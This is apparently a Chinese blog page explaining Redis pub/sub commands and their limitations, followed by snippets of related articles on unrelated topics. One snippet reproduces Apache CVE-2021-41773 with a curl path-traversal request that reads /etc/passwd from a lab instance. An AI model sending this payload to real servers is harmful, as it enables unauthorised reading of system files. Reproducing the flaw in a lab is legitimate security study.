Redis发布和订阅
Redis 发布订阅 (pub/sub) 是一种消息通信模式:发送者 (pub) 发送消息,订阅者(sub) 接收消息 可以实现进程间的消息传递。这种模式非常适用于实时消息传递、事件通知和消息分发等场景
Redis可以实现消息中间件MQ的功能,通过发布订阅实现消息的引导和分流。但是目前不推荐使用该功能,专业的事情交给专业的中间件处理,redis就做好分布式缓存功能
Redis 客户端可以订阅任意数量的频道
1.如何使用Redis发布订阅
-
订阅频道:客户端可以使用
SUBSCRIBE
命令订阅一个或多个频道。例如,SUBSCRIBE channel1 channel2
订阅两个频道。 -
发布消息:使用
PUBLISH
命令,发布者可以向指定频道发送消息,如PUBLISH channel1 "Hello World"
。 -
接收消息:订阅了频道的客户端将接收到发布到这些频道的所有消息。
-
取消订阅:客户端可以使用
UNSUBSCRIBE
命令来退订一个或多个频道
发布订阅的特点
-
解耦:发布者和订阅者之间是解耦的,发布者发送消息时不需要知道哪些订阅者会接收到这些消息。
-
动态:订阅者可以随时订阅或退订频道,而不需要重新启动服务或进行复杂的配置。
-
简单:Redis的发布订阅模型易于理解和实现,适合快速开发和部署。
2.发布和订阅流程图
客户端可以订阅频道如下图
当给这个频道发布消息后,消息就会发送给订阅的客户端
发布/订阅其实是一个轻量化的队列,只不过数据不会持久化,一般用来处理实时性较高的异步消息。
推荐先执行订阅然后再发布,订阅成功之前发布的消息是收不到的
3.操作命令
# 1. SUBSCRIBE channel [channel ...] 订阅给定的一个或多个频道的信息
# 订阅的客户端每次可以收到一个3个参数的消息
# 消息种类
# 始发频道的名称
# 实际的消息内容
127.0.0.1:6379> subscribe channel# PUBLISH channel message 发布消息到指定的频道
127.0.0.1:6379> publish channel hello# PSUBSCRIBE pattern [pattern ...]按照模式批量订阅,订阅一个或多个符合给定模式(支持*号?号之类的)的频道
127.0.0.1:6379> PSUBSCRIBE a* b?# PUBSUB subcommand [argument [argument ...]] 查看订阅与发布系统
# PUBSUB CHANNELS 由活跃频道组成的列表
# PUBSUB NUMSUB [channel [channel ...]] 某个频道有几个订阅者
# PUBSUB NUMPAT 只统计使用PSUBSCRIBE命令执行的返回客户端订阅的唯一模式的数量# UNSUBSCRIBE [channel [channel ...]] 退订给定的频道# PUNSUBSCRIBE [pattern [pattern ...]] 退订所有给定模式的频道
注:发布的消息没有持久化,如果在订阅的客户端收不到 hello,只能收到订阅后发布的消息
4.总结
可以实现消息中间件MQ的功能,通过发布订阅实现消息的引导和分流。但是不推荐使用该功能,专业的事情交给专业的中间件处理,redis就做好分布式缓存功能
PUB/SUB缺点
-
发布的消息在Redis系统中不能持久化,因此,必须先执行订阅,在等待消息发布。如果先发布了消息,那么该消息由于没有订阅者,消息将被直接丢弃
-
消息只管发送,对于发布者而言消息是即发即失,不管接受,也没有ACK机制,无法保证消息的消费成功
-
以上的缺点导致Redis的Pub/Sub模式就像个小玩具,在生产环境中几乎无用武之地,为此Redis5.0版本新增了Stream数据结构,不但支持多播,还支持数据持久化,相比Pub/Sub更加的强大
基于以上的缺点,在实际操作中需要考虑以下因素:
-
消息的持久化:Redis Pub/Sub本身不提供持久化,如果需要保证消息不丢失,可能需要额外的机制或使用其他数据结构如Streams。
-
消息的确认机制:Redis Pub/Sub不提供消息确认,如果需要确认消息已被订阅者成功处理,需要在应用层实现。
-
安全性:确保只有授权的订阅者可以接收敏感消息。
-
错误处理:实现错误处理机制,以便在消息传递过程中出现问题时能够恢复。
-
监控和日志:记录消息传递的日志,并使用监控工具来跟踪系统性能和健康状态。
感谢大家,请大家多多支持!
相关文章:

Redis发布和订阅
Redis 发布订阅 (pub/sub) 是一种消息通信模式:发送者 (pub) 发送消息,订阅者(sub) 接收消息 可以实现进程间的消息传递。这种模式非常适用于实时消息传递、事件通知和消息分发等场景 Redis可以实现消息中间件MQ的功能,通过发布订阅实现消息…...

计算机毕设设计推荐-基于python+Djanog大数据的电影数据可视化分析
精彩专栏推荐订阅:在下方主页👇🏻👇🏻👇🏻👇🏻 💖🔥作者主页:计算机毕设木哥🔥 💖 文章目录 一、电影数据可视…...

dhtmlxGantt 甘特图 一行展示多条任务类型
效果如图: 后台拿到数据 处理之后如图: 含义: 如上图所示, 如果一行需要展示多个 需要给父数据的那条添加render:split属性, 子数据的parent为父数据的Id即可 切记 父数据的id 别为0 为0 时 会出现错乱 因为有些小伙伴提出分段展示的数据结构还是有点问题,下面展示一个完整…...

COLORmap
在这段MATLAB代码中,surf(peaks)、map的定义以及colormap(map)的调用共同完成了以下任务: 1. **绘制曲面图**: - surf(peaks):这个函数调用了MATLAB内置的peaks函数来生成数据,并使用surf函数将这些数据绘制成一个…...

手机在网状态查询接口如何用Java进行调用?
一、什么是手机在网状态查询接口? 手机在网状态查询接口,又叫运营商在网状态查询,手机号在网状态查询,传入手机号码,查询该手机号的在网状态,返回内容有正常使用、停机、在网但不可用、不在网(…...

mysql性能优化- 数据库配置优化
MySQL 性能优化 - 数据库配置优化 MySQL 是一个广泛使用的关系型数据库管理系统,但随着数据量的增长和访问频率的提高,其性能可能会成为瓶颈。为了保持高效的性能,除了应用层的查询优化和索引优化之外,数据库配置优化 也是非常重…...

(算法)大数的进制转换
题目描述 将一个长度最多为30位数字的十进制非负整数转换为二进制数输出输入描述: 多组数据,每行为一个长度不超过30位的十进制非负整数。 (注意是10进制数字的个数可能有30个,而非30bits的整数)解析 例子 :123&…...

演示jvm锁存在的问题
文章目录 1、AlbumInfoApiController --》testLock()2、redis添加键值对3、AlbumInfoServiceImpl --》testLock() 没有加锁4、使用ab工具测试4.1、安装 ab 工具4.2、查看 redis 中的值 5、添加本地锁 synchronized6、集群情况下问题演示 jvm锁:synchronized lock 只…...

Android SharedPreference详解
Android SharedPreference详解 SharedPreferences作为一种数据持久化的方式,是处理简单的key-value类型数据时的首选。 一般用法: //demo是该sharedpreference对应文件名,对应的是一个xml文件,里面存放key-value格式的数据. SharedPreferences sharedPreferences…...
论文阅读 | 可证安全隐写(网络空间安全科学学报 2023)
可证安全隐写:理论、应用与展望 一、什么是可证安全隐写? 对于经验安全的隐写算法,即使其算法设计得相当周密,隐写分析者(攻击者)在观察了足够数量的载密(含有隐写信息的数据)和载体…...

Arthas jvm(查看当前JVM的信息)
文章目录 二、命令列表2.1 jvm相关命令2.1.3 jvm(查看当前JVM的信息) 二、命令列表 2.1 jvm相关命令 2.1.3 jvm(查看当前JVM的信息) 基础语法: jvm [arthas18139]$ jvmRUNTIME …...

【c++】介绍
C是一种强大而灵活的编程语言,广泛用于开发各种应用程序和系统软件。它结合了C语言的高效性和面向对象编程的特性,为程序员提供了丰富的工具和功能,以满足各种编程需求。 C的历史可以追溯到上世纪80年代,最初由丹尼斯里奇和贝尔实…...

JavaScript typeof与instanceof的区别
typeof 和 instanceof 都是 JavaScript 中的运算符,用于检查数据类型或对象的类型。它们有不同的用途和适用场景: 1. typeof 作用:返回变量的数据类型,适用于原始数据类型(如 number、string、boolean 等)…...

C++11 可变的模板参数
前言 本期我们接着继续介绍C11的新特性,本期我们介绍的这个新特性是很多人都感觉抽象的语法!它就是可变的模板参数! 目录 前言 一、可变的模板参数 1.1可变的参数列表 1.2可变的参数包 1.3可变参数包的解析 • 递归展开解析 • 逗号…...

手机在网状态查询接口如何用PHP进行调用?
一、什么是手机在网状态查询接口? 手机在网状态查询接口,即输入手机号码查询手机号在网状态,返回有正常使用、停机、在网但不可用、不在网(销号/未启用/异常)、预销户等多种状态。 二、手机在网状态查询适用哪些场景…...

MATLAB中多张fig图合并为一个图
将下列两个图和为一个图 打开查看-----绘图浏览器 点击第一幅图中曲线右键复制,到第二幅图中粘贴即可完成...

Java启动Tomcat: Can‘t load IA 32-bit .dll on a AMD 64-bit platform报错问题解决
🎬 鸽芷咕:个人主页 🔥 个人专栏: 《C干货基地》《粉丝福利》 ⛺️生活的理想,就是为了理想的生活! 专栏介绍 在软件开发和日常使用中,BUG是不可避免的。本专栏致力于为广大开发者和技术爱好者提供一个关于BUG解决的经…...

基于微信小程序的家教信息管理系统的设计与实现(论文+源码)_kaic
摘 要 随着互联网时代的来临,使得传统的家教模式已不复存在,亟需一种方便、快捷的在线教学平台。因此,利用Java语言作为支撑和MySQL数据库存储数据,结合微信小程序的便利性,为用户开发出了一个更加人性化、方便的家庭…...

【Android】BottomSheet基本用法总结(BottomSheetDialog,BottomSheetDialogFragment)
BottomSheet BottomSheet 是一种位于屏幕底部的面板,用于显示附加内容或选项。提供了从屏幕底部向上滑动显示内容的交互方式。这种设计模式在 Material Design 中被广泛推荐,因为它可以提供一种优雅且不干扰主屏幕内容的方式来展示额外信息或操作。 具体…...

Linux下实现ls命令的功能
教材:<Linux编程技术详解> 杜华 编著 人民邮电出版社 参考页码:P136 书中源代码: //p4.10.c 实现类似ls命令的功能 #include<stdio.h> #include<sys/types.h> #include<dirent.h> #include<stdlib.h> #include<sys/stat.h> #include&l…...

【中国留学网-注册_登录安全分析报告】
前言 由于网站注册入口容易被黑客攻击,存在如下安全问题: 暴力破解密码,造成用户信息泄露短信盗刷的安全问题,影响业务及导致用户投诉带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞…...

jvm中的程序计数器、虚拟机栈和本地方法栈
引言 本文主要介绍一下jvm虚拟机中的程序计数器、虚拟机栈和本地方法栈。 程序计数器 作用 作用:记录下一条jvm指令的执行地址。 下面具体描述一下程序计数器的作用。 这里有两个代码,右边的为源代码,左边为编译之后的字节码。 当我们…...

安卓数据存储——SharedPreferences
共享参数 SharedPreferences 1、sharedPreferences是Android的一个轻量级存储工具,采用的存储结构是key - value的键值对方式 2、共享参数的存储介质是符合XML规范的配置文件。保存路径是:/data/data/应用包名/shared_prefs/文件名.xml 使用场景&…...

【计算机网络篇】数据链路层 功能|组帧|流量控制与可靠传输机制
🧸安清h:个人主页 🎥个人专栏:【计算机网络】 🚦作者简介:一个有趣爱睡觉的intp,期待和更多人分享自己所学知识的真诚大学生。 系列文章目录 【计算机网络篇】计算机网络概述 【计算机网络篇…...

Apache CVE-2021-41773漏洞复现
1、环境搭建 docker pull blueteamsteve/cve-2021-41773:no-cgid docker run -d -p 8080:80 97308de4753d 2、使⽤poc curl http://47.121.212.195:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd 3、工具验证...

带线无人机现身俄罗斯抗干扰技术详解
带线无人机在俄罗斯的出现,特别是其光纤制导技术的应用,标志着无人机抗干扰技术的一大进步。以下是对俄罗斯带线无人机抗干扰技术的详细解析: 一、带线无人机抗干扰技术背景 技术突破:俄军成功研发了光纤制导无人机,…...

ArcGIS10.2/10.6安装包下载与安装(附详细安装步骤)
相信从事地理专业的小伙伴来说,应该对今天的标题不会陌生。Arcgis是一款很常用的地理信息系统软件,主要用于地理数据的采集、管理、分析和展示。目前比较常见的版本有ArcGIS 10.2和ArcGIS 10.6。 不可否认,Arcgis具有强大的地图制作、空间分…...

生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队指导设计、解读实验结果。
查看原文>>>生信服务器 | 组蛋白甲基化修饰、DNA亲和纯化测序、优青博导团队免费指导设计、解读实验结果、一台服务器解决您所有的分析困扰!...

【machine learning-14-特征缩放-归一化】
特征缩放是提升线性回归收敛速度的技巧,什么是特征缩放? 又是什么场景下需要特征缩放,有哪些特征缩放的方法呢? 特征值差异 我们还是以之前房间预测为例: 这里面是特征房屋大小 房间数目 与房价的关系 本文为简化…...

二叉树堆的建立与排序
在数据结构中,二叉树是非常好用的一种数据结构,这节暂时按下不表。这节课主要介绍堆的建立与使用。 堆,是二叉树中一种很特殊的结构,首先,他必须是满二叉树,也就是除了最后一层以外,其他层都是…...